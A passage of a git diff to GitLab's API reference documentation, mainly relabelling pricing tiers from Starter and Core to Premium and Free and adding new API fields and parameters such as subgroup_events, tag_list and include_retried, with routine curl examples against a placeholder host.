[GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium](https://about.gitlab.com/pricing/) or higher tiers, marks a group for deletion. The deletion happens 7 days later by default, but this can be changed in the [instance settings](../user/admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). ```plaintext DELETE /groups/:id @@ -997,7 +1010,7 @@ GET /groups?search=foobar ] ``` -## Hooks +## Hooks **(PREMIUM)** Also called Group Hooks and Webhooks. These are different from [System Hooks](system_hooks.md) that are system wide and [Project Hooks](projects.md#hooks) that are limited to one project. @@ -1044,6 +1057,7 @@ GET /groups/:id/hooks/:hook_id "wiki_page_events": true, "deployment_events": true, "releases_events": true, + "subgroup_events": true, "enable_ssl_verification": true, "created_at": "2012-10-12T17:04:47Z" } @@ -1073,6 +1087,7 @@ POST /groups/:id/hooks | `wiki_page_events` | boolean | no | Trigger hook on wiki events | | `deployment_events` | boolean | no | Trigger hook on deployment events | | `releases_events` | boolean | no | Trigger hook on release events | +| `subgroup_events` | boolean | no | Trigger hook on subgroup events | | `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | | `token` | string | no | Secret token to validate received payloads; not returned in the response | @@ -1101,6 +1116,7 @@ PUT /groups/:id/hooks/:hook_id | `wiki_events` | boolean | no | Trigger hook on wiki events | | `deployment_events` | boolean | no | Trigger hook on deployment events | | `releases_events` | boolean | no | Trigger hook on release events | +| `subgroup_events` | boolean | no | Trigger hook on subgroup events | | `enable_ssl_verification` | boolean | no | Do SSL verification when triggering the hook | | `token` | string | no | Secret token to validate received payloads; not returned in the response | @@ -1122,7 +1138,7 @@ DELETE /groups/:id/hooks/:hook_id Group audit events can be accessed via the [Group Audit Events API](audit_events.md#group-audit-events) -## Sync group with LDAP **(STARTER ONLY)** +## Sync group with LDAP **(PREMIUM SELF)** Syncs the group with its linked LDAP group. Only available to group owners and administrators. @@ -1142,7 +1158,7 @@ Please consult the [Group Members](members.md) documentation. List, add, and delete LDAP group links. -### List LDAP group links **(STARTER ONLY)** +### List LDAP group links **(PREMIUM SELF)** Lists LDAP group links. @@ -1154,7 +1170,7 @@ GET /groups/:id/ldap_group_links | --------- | -------------- | -------- | ----------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) | -### Add LDAP group link with CN or filter **(STARTER ONLY)** +### Add LDAP group link with CN or filter **(PREMIUM SELF)** Adds an LDAP group link using a CN or filter. Adding a group link by filter is only supported in the Premium tier and above. @@ -1173,7 +1189,7 @@ POST /groups/:id/ldap_group_links NOTE: To define the LDAP group link, provide either a `cn` or a `filter`, but not both. -### Delete LDAP group link **(STARTER ONLY)** +### Delete LDAP group link **(PREMIUM SELF)** Deletes an LDAP group link. Deprecated. Scheduled for removal in a future release. @@ -1198,7 +1214,7 @@ DELETE /groups/:id/ldap_group_links/:provider/:cn | `cn` | string | yes | The CN of an LDAP group | | `provider` | string | yes | LDAP provider for the LDAP group link | -### Delete LDAP group link with CN or filter **(STARTER ONLY)** +### Delete LDAP group link with CN or filter **(PREMIUM SELF)** Deletes an LDAP group link using a CN or filter. Deleting by filter is only supported in the Premium tier and above. @@ -1306,7 +1322,7 @@ GET /groups/:id/push_rule } ``` -Users on GitLab [Premium, Silver, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab [Premium or higher](https://about.gitlab.com/pricing/) also see the `commit_committer_check` and `reject_unsigned_commits` parameters: ```json diff --git a/doc/api/instance_clusters.md b/doc/api/instance_clusters.md index d5c033563d6..99717ba939d 100644 --- a/doc/api/instance_clusters.md +++ b/doc/api/instance_clusters.md @@ -4,14 +4,14 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Instance clusters API +# Instance clusters API **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36001) in GitLab 13.2. Instance-level Kubernetes clusters allow you to connect a Kubernetes cluster to the GitLab instance, which enables you to use the same cluster across multiple projects. [More information](../user/instance/clusters/index.md) NOTE: -Users need admin access to use these endpoints. +Users need administrator access to use these endpoints. ## List instance clusters diff --git a/doc/api/issue_links.md b/doc/api/issue_links.md index b94207f8e16..0d55b77df0e 100644 --- a/doc/api/issue_links.md +++ b/doc/api/issue_links.md @@ -4,9 +4,9 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Issue links API **(CORE)** +# Issue links API **(FREE)** -> The simple "relates to" relationship [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212329) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.4. +> The simple "relates to" relationship [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212329) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.4. ## List issue relations diff --git a/doc/api/issues.md b/doc/api/issues.md index 1abb4fe3b4a..c333967b36c 100644 --- a/doc/api/issues.md +++ b/doc/api/issues.md @@ -60,8 +60,8 @@ GET /issues?state=opened | `due_date` | string | no | Return issues that have no due date, are overdue, or whose due date is this week, this month, or between two weeks ago and next month. Accepts: `0` (no due date), `overdue`, `week`, `month`, `next_month_and_previous_two_weeks`. _(Introduced in [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/233420))_ | | `iids[]` | integer array | no | Return only the issues having the given `iid` | | `in` | string | no | Modify the scope of the `search` attribute. `title`, `description`, or a string joining them with comma. Default is `title,description` | -| `iteration_id` **(STARTER)** | integer | no | Return issues assigned to the given iteration ID. `None` returns issues that do not belong to an iteration. `Any` returns issues that belong to an iteration. Mutually exclusive with `iteration_title`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.6)_ | -| `iteration_title` **(STARTER)** | string | no | Return issues assigned to the iteration with the given title. Similar to `iteration_id` and mutually exclusive with `iteration_id`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.6)_ | +| `iteration_id` **(PREMIUM)** | integer | no | Return issues assigned to the given iteration ID. `None` returns issues that do not belong to an iteration. `Any` returns issues that belong to an iteration. Mutually exclusive with `iteration_title`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)_ | +| `iteration_title` **(PREMIUM)** | string | no | Return issues assigned to the iteration with the given title. Similar to `iteration_id` and mutually exclusive with `iteration_id`. _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6)_ | | `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. | | `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. `No+Label` (Deprecated) lists all issues with no labels. Predefined names are case-insensitive. | | `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. | @@ -169,7 +169,7 @@ Example response: ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -183,7 +183,7 @@ the `weight` parameter: ] ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -347,7 +347,7 @@ Example response: ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -361,7 +361,7 @@ the `weight` parameter: ] ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -530,7 +530,7 @@ Example response: ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -544,7 +544,7 @@ the `weight` parameter: ] ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -684,7 +684,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -696,7 +696,7 @@ the `weight` parameter: } ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Ultimate](https://about.gitlab.com/pricing/) can also see the `epic` property: ```javascript @@ -833,7 +833,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -845,7 +845,7 @@ the `weight` parameter: } ``` -Users on GitLab [Premium](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Premium](https://about.gitlab.com/pricing/) can also see the `epic` property: ```javascript @@ -864,7 +864,7 @@ the `epic` property: } ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` +Users of [GitLab Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` property: ```json @@ -980,7 +980,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -992,7 +992,7 @@ the `weight` parameter: } ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -1133,7 +1133,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -1145,7 +1145,7 @@ the `weight` parameter: } ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -1298,7 +1298,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json @@ -1310,7 +1310,7 @@ the `weight` parameter: } ``` -Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Ultimate](https://about.gitlab.com/pricing/) can also see the `health_status` parameter: ```json @@ -1421,7 +1421,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) can also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) can also see the `weight` parameter: ```json diff --git a/doc/api/iterations.md b/doc/api/iterations.md index 1ee489e4cf1..be52ef0ea47 100644 --- a/doc/api/iterations.md +++ b/doc/api/iterations.md @@ -4,9 +4,10 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Project iterations API **(STARTER)** +# Project iterations API **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.5. +> - Moved to GitLab Premium in 13.9. This page describes the project iterations API. There's a separate [group iterations API](group_iterations.md) page. @@ -51,7 +52,8 @@ Example response: "created_at": "2020-01-27T05:07:12.573Z", "updated_at": "2020-01-27T05:07:12.573Z", "due_date": "2020-02-01", - "start_date": "2020-02-14" + "start_date": "2020-02-14", + "web_url": "http://gitlab.example.com/groups/my-group/-/iterations/13" } ] ``` diff --git a/doc/api/jobs.md b/doc/api/jobs.md index b7b742ebe66..18d2e5ec3df 100644 --- a/doc/api/jobs.md +++ b/doc/api/jobs.md @@ -54,6 +54,9 @@ Example of response {"file_type": "junit", "size": 750, "filename": "junit.xml.gz", "file_format": "gzip"} ], "artifacts_expire_at": "2016-01-23T17:54:27.895Z", + "tag_list": [ + "docker runner", "ubuntu18" + ], "id": 7, "name": "teaspoon", "pipeline": { @@ -104,6 +107,9 @@ Example of response "finished_at": "2015-12-24T17:54:24.921Z", "duration": 0.192, "artifacts_expire_at": "2016-01-23T17:54:24.921Z", + "tag_list": [ + "docker runner", "win10-2004" + ], "id": 6, "name": "rspec:other", "pipeline": { @@ -148,11 +154,12 @@ Get a list of jobs for a pipeline. GET /projects/:id/pipelines/:pipeline_id/jobs ``` -| Attribute | Type | Required | Description | -|---------------|--------------------------------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | -| `pipeline_id` | integer | yes | ID of a pipeline. | -| `scope` | string **or** array of strings | no | Scope of jobs to show. Either one of or an array of the following: `created`, `pending`, `running`, `failed`, `success`, `canceled`, `skipped`, or `manual`. All jobs are returned if `scope` is not provided. | +| Attribute | Type | Required | Description | +|-------------------|--------------------------------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `pipeline_id` | integer | yes | ID of a pipeline. | +| `scope` | string **or** array of strings | no | Scope of jobs to show. Either one of or an array of the following: `created`, `pending`, `running`, `failed`, `success`, `canceled`, `skipped`, or `manual`. All jobs are returned if `scope` is not provided. | +| `include_retried` | boolean | no | Include retried jobs in the response. Defaults to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/272627) in GitLab 13.9. | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/pipelines/6/jobs?scope[]=pending&scope[]=running" @@ -179,6 +186,9 @@ Example of response "finished_at": "2015-12-24T17:54:24.921Z", "duration": 0.192, "artifacts_expire_at": "2016-01-23T17:54:24.921Z", + "tag_list": [ + "docker runner", "ubuntu18" + ], "id": 6, "name": "rspec:other", "pipeline": { @@ -239,6 +249,9 @@ Example of response {"file_type": "junit", "size": 750, "filename": "junit.xml.gz", "file_format": "gzip"} ], "artifacts_expire_at": "2016-01-23T17:54:27.895Z", + "tag_list": [ + "docker runner", "ubuntu18" + ], "id": 7, "name": "teaspoon", "pipeline": { @@ -248,7 +261,6 @@ Example of response "status": "pending" }, "ref": "master", - "artifacts": [], "runner": null, "stage": "test", "status": "failed", @@ -278,6 +290,12 @@ Example of response In GitLab 13.3 and later, this endpoint [returns data for any pipeline](pipelines.md#single-pipeline-requests) including [child pipelines](../ci/parent_child_pipelines.md). +In GitLab 13.5 and later, this endpoint does not return retried jobs in the response +by default. + +In GitLab 13.9 and later, this endpoint can include retried jobs in the response +with `include_retried` set to `true`. + ## List pipeline bridges Get a list of bridge jobs for a pipeline. @@ -399,6 +417,9 @@ Example of response "finished_at": "2015-12-24T17:54:31.198Z", "duration": 0.465, "artifacts_expire_at": "2016-01-23T17:54:31.198Z", + "tag_list": [ + "docker runner", "macos-10.15" + ], "id": 8, "name": "rubocop", "pipeline": { diff --git a/doc/api/keys.md b/doc/api/keys.md index dccea1f0e0a..98159bcf027 100644 --- a/doc/api/keys.md +++ b/doc/api/keys.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Keys API +# Keys API **(FREE)** ## Get SSH key with user by ID of an SSH key diff --git a/doc/api/license.md b/doc/api/license.md index 9aaf68d5b89..7aa00335933 100644 --- a/doc/api/license.md +++ b/doc/api/license.md @@ -4,7 +4,7 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# License **(CORE ONLY)** +# License **(FREE SELF)** To interact with license endpoints, you need to authenticate yourself as an administrator. diff --git a/doc/api/license_templates.md b/doc/api/license_templates.md deleted file mode 100644 index 7587721968b..00000000000 --- a/doc/api/license_templates.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'templates/licenses.md' ---- - -This document was moved to [another location](templates/licenses.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/lint.md b/doc/api/lint.md index 48a7be13a28..867a5e54663 100644 --- a/doc/api/lint.md +++ b/doc/api/lint.md @@ -13,6 +13,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w Checks if CI/CD YAML configuration is valid. This endpoint validates basic CI/CD configuration syntax. It doesn't have any namespace specific context. +Access to this endpoint requires authentication. + ```plaintext POST /ci/lint ``` @@ -23,7 +25,7 @@ POST /ci/lint | `include_merged_yaml` | boolean | no | If the [expanded CI/CD configuration](#yaml-expansion) should be included in the response. | ```shell -curl --header "Content-Type: application/json" "https://gitlab.example.com/api/v4/ci/lint" --data '{"content": "{ \"image\": \"ruby:2.6\", \"services\": [\"postgres\"], \"before_script\": [\"bundle install\", \"bundle exec rake db:create\"], \"variables\": {\"DB_NAME\": \"postgres\"}, \"types\": [\"test\", \"deploy\", \"notify\"], \"rspec\": { \"script\": \"rake spec\", \"tags\": [\"ruby\", \"postgres\"], \"only\": [\"branches\"]}}"}' +curl --header "Content-Type: application/json" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/ci/lint" --data '{"content": "{ \"image\": \"ruby:2.6\", \"services\": [\"postgres\"], \"before_script\": [\"bundle install\", \"bundle exec rake db:create\"], \"variables\": {\"DB_NAME\": \"postgres\"}, \"types\": [\"test\", \"deploy\", \"notify\"], \"rspec\": { \"script\": \"rake spec\", \"tags\": [\"ruby\", \"postgres\"], \"only\": [\"branches\"]}}"}' ``` Be sure to paste the exact contents of your GitLab CI/CD YAML configuration because YAML diff --git a/doc/api/markdown.md b/doc/api/markdown.md index c7908f02b6e..157714c2791 100644 --- a/doc/api/markdown.md +++ b/doc/api/markdown.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Markdown API +# Markdown API **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18926) in GitLab 11.0. diff --git a/doc/api/members.md b/doc/api/members.md index 47b686d9275..bf2bf8c1220 100644 --- a/doc/api/members.md +++ b/doc/api/members.md @@ -284,6 +284,7 @@ Example response: "state": "active", "avatar_url": "https://www.gravatar.com/avatar/c2525a7f58ae3776070e44c106c48e15?s=80&d=identicon", "web_url": "http://192.168.1.8:3000/root", + "last_activity_on": "2021-01-27" }, { "id": 2, @@ -292,7 +293,8 @@ Example response: "state": "active", "avatar_url": "https://www.gravatar.com/avatar/c2525a7f58ae3776070e44c106c48e15?s=80&d=identicon", "web_url": "http://192.168.1.8:3000/root", - "email": "john@example.com" + "email": "john@example.com", + "last_activity_on": "2021-01-25" }, { "id": 3, @@ -300,7 +302,8 @@ Example response: "name": "Foo bar", "state": "active", "avatar_url": "https://www.gravatar.com/avatar/c2525a7f58ae3776070e44c106c48e15?s=80&d=identicon", - "web_url": "http://192.168.1.8:3000/root" + "web_url": "http://192.168.1.8:3000/root", + "last_activity_on": "2021-01-20" } ] ``` @@ -319,7 +322,7 @@ POST /projects/:id/members | `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer/string | yes | The user ID of the new member or multiple IDs separated by commas | | `access_level` | integer | yes | A valid access level | -| `expires_at` | string | no | A date string in the format YEAR-MONTH-DAY | +| `expires_at` | string | no | A date string in the format `YEAR-MONTH-DAY` | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "user_id=1&access_level=30" "https://gitlab.example.com/api/v4/groups/:id/members" @@ -357,7 +360,7 @@ PUT /projects/:id/members/:user_id | `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the member | | `access_level` | integer | yes | A valid access level | -| `expires_at` | string | no | A date string in the format YEAR-MONTH-DAY | +| `expires_at` | string | no | A date string in the format `YEAR-MONTH-DAY` | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/members/:user_id?access_level=40" diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md index e3ebb61768e..5b8bad1d685 100644 --- a/doc/api/merge_request_approvals.md +++ b/doc/api/merge_request_approvals.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Merge request approvals API **(STARTER)** +# Merge request approvals API **(PREMIUM)** Configuration for approvals on all Merge Requests (MR) in the project. Must be authenticated for all endpoints. @@ -13,7 +13,8 @@ Configuration for approvals on all Merge Requests (MR) in the project. Must be a ### Get Configuration -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in GitLab 10.6. +> - Moved to GitLab Premium in 13.9. You can request information about a project's approval configuration using the following endpoint: @@ -41,7 +42,8 @@ GET /projects/:id/approvals ### Change configuration -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in GitLab 10.6. +> - Moved to GitLab Premium in 13.9. If you are allowed to, you can change approval configuration using the following endpoint: @@ -75,7 +77,8 @@ POST /projects/:id/approvals ### Get project-level rules -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in GitLab 12.3. +> - Moved to GitLab Premium in 13.9. > - `protected_branches` property was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/460) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.7. You can request information about a project's approval rules using the following endpoint: @@ -273,7 +276,8 @@ GET /projects/:id/approval_rules/:approval_rule_id ### Create project-level rule -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in GitLab 12.3. +> - Moved to GitLab Premium in 13.9. You can create project approval rules using the following endpoint: @@ -375,7 +379,8 @@ POST /projects/:id/approval_rules ### Update project-level rule -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in GitLab 12.3. +> - Moved to GitLab Premium in 13.9. You can update project approval rules using the following endpoint: @@ -480,7 +485,8 @@ PUT /projects/:id/approval_rules/:approval_rule_id ### Delete project-level rule -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in GitLab 12.3. +> - Moved to GitLab Premium in 13.9. You can delete project approval rules using the following endpoint: @@ -497,7 +503,8 @@ DELETE /projects/:id/approval_rules/:approval_rule_id ### Change allowed approvers -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in GitLab 10.6. +> - Moved to GitLab Premium in 13.9. NOTE: This API endpoint has been deprecated. Please use Approval Rule API instead. @@ -566,7 +573,8 @@ Configuration for approvals on a specific Merge Request. Must be authenticated f ### Get Configuration -> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 8.9. +> - Introduced in GitLab 8.9. +> - Moved to GitLab Premium in 13.9. You can request information about a merge request's approval status using the following endpoint: @@ -612,7 +620,8 @@ GET /projects/:id/merge_requests/:merge_request_iid/approvals ### Change approval configuration -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in GitLab 10.6. +> - Moved to GitLab Premium in 13.9. If you are allowed to, you can change `approvals_required` using the following endpoint: @@ -648,7 +657,8 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals ### Change allowed approvers for Merge Request -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.6. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in GitLab 10.6. +> - Moved to GitLab Premium in 13.9. NOTE: This API endpoint has been deprecated. Please use Approval Rule API instead. @@ -722,7 +732,8 @@ PUT /projects/:id/merge_requests/:merge_request_iid/approvers ### Get the approval state of merge requests -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13712) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13712) in GitLab 12.3. +> - Moved to GitLab Premium in 13.9. You can request information about a merge request's approval state by using the following endpoint: @@ -794,7 +805,8 @@ This includes additional information about the users who have already approved ### Get merge request level rules -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13712) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13712) in GitLab 12.3. +> - Moved to GitLab Premium in 13.9. You can request information about a merge request's approval rules using the following endpoint: @@ -871,7 +883,8 @@ GET /projects/:id/merge_requests/:merge_request_iid/approval_rules ### Create merge request level rule -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in GitLab 12.3. +> - Moved to GitLab Premium in 13.9. You can create merge request approval rules using the following endpoint: @@ -955,7 +968,8 @@ will be used. ### Update merge request level rule -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in GitLab 12.3. +> - Moved to GitLab Premium in 13.9. You can update merge request approval rules using the following endpoint: @@ -1040,7 +1054,8 @@ These are system generated rules. ### Delete merge request level rule -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in GitLab 12.3. +> - Moved to GitLab Premium in 13.9. You can delete merge request approval rules using the following endpoint: @@ -1061,7 +1076,8 @@ These are system generated rules. ## Approve Merge Request -> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 8.9. +> - Introduced in GitLab 8.9. +> - Moved to GitLab Premium in 13.9. If you are allowed to, you can approve a merge request using the following endpoint: @@ -1077,7 +1093,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/approve | `id` | integer | yes | The ID of a project | | `merge_request_iid` | integer | yes | The IID of MR | | `sha` | string | no | The HEAD of the MR | -| `approval_password` **(STARTER)** | string | no | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/merge_request_approvals.md#require-authentication-when-approving-a-merge-request) is enabled in the project settings. | +| `approval_password` **(PREMIUM)** | string | no | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/merge_request_approvals.md#require-authentication-when-approving-a-merge-request) is enabled in the project settings. | The `sha` parameter works in the same way as when [accepting a merge request](merge_requests.md#accept-mr): if it is passed, then it must @@ -1124,7 +1140,8 @@ does not match, the response code will be `409`. ## Unapprove Merge Request ->Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 9.0. +> - Introduced in GitLab 9.0. +> - Moved to GitLab Premium in 13.9. If you did approve a merge request, you can unapprove it using the following endpoint: diff --git a/doc/api/merge_request_context_commits.md b/doc/api/merge_request_context_commits.md index 3873cb00033..0b4b96b889b 100644 --- a/doc/api/merge_request_context_commits.md +++ b/doc/api/merge_request_context_commits.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Merge request context commits API +# Merge request context commits API **(FREE)** ## List MR context commits diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md index c43ac96a42f..d9bcba96fdc 100644 --- a/doc/api/merge_requests.md +++ b/doc/api/merge_requests.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Merge requests API +# Merge requests API **(FREE)** > - `author_id`, `author_username`, and `assignee_id` were [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13060) in GitLab 9.5. > - `my_reaction_emoji` was [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0. @@ -15,6 +15,7 @@ type: reference, api > - `reference` was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354) in GitLab 12.10 in favour of `references`. > - `with_merge_status_recheck` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31890) in GitLab 13.0. > - `reviewer_username` and `reviewer_id` were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8. +> - `reviewer_ids` was 